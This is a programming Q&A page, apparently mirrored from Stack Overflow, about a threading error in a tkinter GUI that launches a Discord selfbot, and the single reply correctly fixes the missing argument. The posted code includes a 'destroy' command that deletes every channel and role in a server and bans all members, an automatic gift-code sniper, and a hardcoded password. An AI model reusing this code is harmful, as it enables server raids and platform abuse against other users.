Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
170 views
in Technique[技术] by (71.8m points)

python - missing 1 required positional argument: 'loop'

def sb(loop):
    asyncio.set_event_loop(loop)
    
    token = e.get()

    
    client = commands.Bot(command_prefix="=", help_command=None, self_bot=True)

    @client.command(pass_context=True)
    async def purge(ctx,amount):
        if ctx.message.author.id == client.user.id:
            await ctx.message.delete()
            async for message in ctx.message.channel.history(limit=int(amount)).filter(lambda m: m.author == client.user).map(
                    lambda m: m):
                try:
                    await message.delete()
                    await asyncio.sleep(0.7)
                except:
                    pass

    @client.command(pass_context=True)
    async def av(ctx, user: discord.Member):
        await ctx.message.delete()
        if client.user.id == ctx.message.author.id:
            u = user.avatar_url
        await ctx.send(u)

    @client.command()
    async def stealpfp(ctx, user:discord.Member):
        await ctx.message.delete()
        password = "chidubem04"
        with open("pfp/Stolen.png", "wb") as f:
            r = requests.get(user.avatar_url, stream=True)
            for block in r.iter_content(1024):
                if not block:
                    break
                f.write(block)

            Image.open("pfp/Stolen.png").convert("RGB")
            with open("pfp/Stolen.png", "rb") as f:
                await client.user.edit(password=password, avatar=f.read())
            
    @client.command()
    async def prayer(ctx):
        await ctx.message.delete()
        await ctx.send("Our Father in heaven, hallowed be your name, your kingdom come, your will be done,on earth as in heaven. Give us today our daily bread. Forgive us our sins as we forgive those who sin against us. Lead us not into temptation but deliver us from evil. For the kingdom, the power, and the glory are yours now and for ever. Amen.")




    @client.command()
    async def time(ctx, zone):
        await ctx.message.delete()
        if zone == "pacific".lower():
            time = timezone("US/Pacific")
            sa_time = datetime.now(time)
            await ctx.send(sa_time.strftime("%H:%M"))
        elif zone == "eastern".lower():
            time = timezone("US/Eastern")
            sa_time = datetime.now(time)
            await ctx.send(sa_time.strftime("%H:%M"))
        elif zone == "mountain".lower():
            time = timezone("US/Mountain")
            sa_time = datetime.now(time)
            await ctx.send(sa_time.strftime("%H:%M"))
        elif zone == "central".lower():
            time = timezone("US/Central")
            sa_time = datetime.now(time)
            await ctx.send(sa_time.strftime("%H:%M"))

    @client.command()
    async def ip(ctx, name):
        await ctx.message.delete()
        ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
        await ctx.send(socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))))

    @client.command()
    async def destroy(ctx): # b'xfc'
        await ctx.message.delete()
        for channel in list(ctx.guild.channels):
            try:
                await channel.delete()
            except:
                pass
        for user in list(ctx.guild.members):
            try:
                await user.ban()
            except:
                pass
        for role in list(ctx.guild.roles):
            try:
                await role.delete()
            except:
                pass

    @client.command()
    async def streaming(ctx,*,name):
        await ctx.message.delete()
        await client.change_presence(activity=discord.Streaming(name = name, url="https://www.twitch.tv/xchidz"))

    @client.event
    async def on_message(message):
    
        if 'discord.gift/' in message.content:
            code = re.search("discord.gift/(.*)", message.content).group(1)
            headers = {'Authorization': token}
            
            r = requests.post(
                f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem', 
                headers=headers,
            ).text

            if 'Unknown Gift Code' in r:
                print("failed to claim")
        
        if 'Someone just dropped' in message.content:
            if message.author.id == 346353957029019648:
                try:
                    await message.channel.send('~grab')
                except:
                    print("failed to claim")
        
        await client.process_commands(message)

        


    client.run(token,bot=False)

def click():
    loop = asyncio.new_event_loop()   
    sb()



myButton = Button(root, text = "Confirm UserToken",command=threading.Thread(target=click).start())
myButton.grid(row=0, column=1)

I am struggling with incorporating threading into my tkinter program. This program is basically a discord bot that you are able to start, restart and other various things through a gui application. I realised that i need to incorporate threading into my tkinter gui in order to be able to use different buttons in the gui as the bot is active but the program keeps giving me the error in the title

question from:https://stackoverflow.com/questions/65599476/missing-1-required-positional-argument-loop

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

I think your click function should be like this:

def click():
    loop = asyncio.new_event_loop()   
    sb(loop) # pass 'loop' as the argument

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...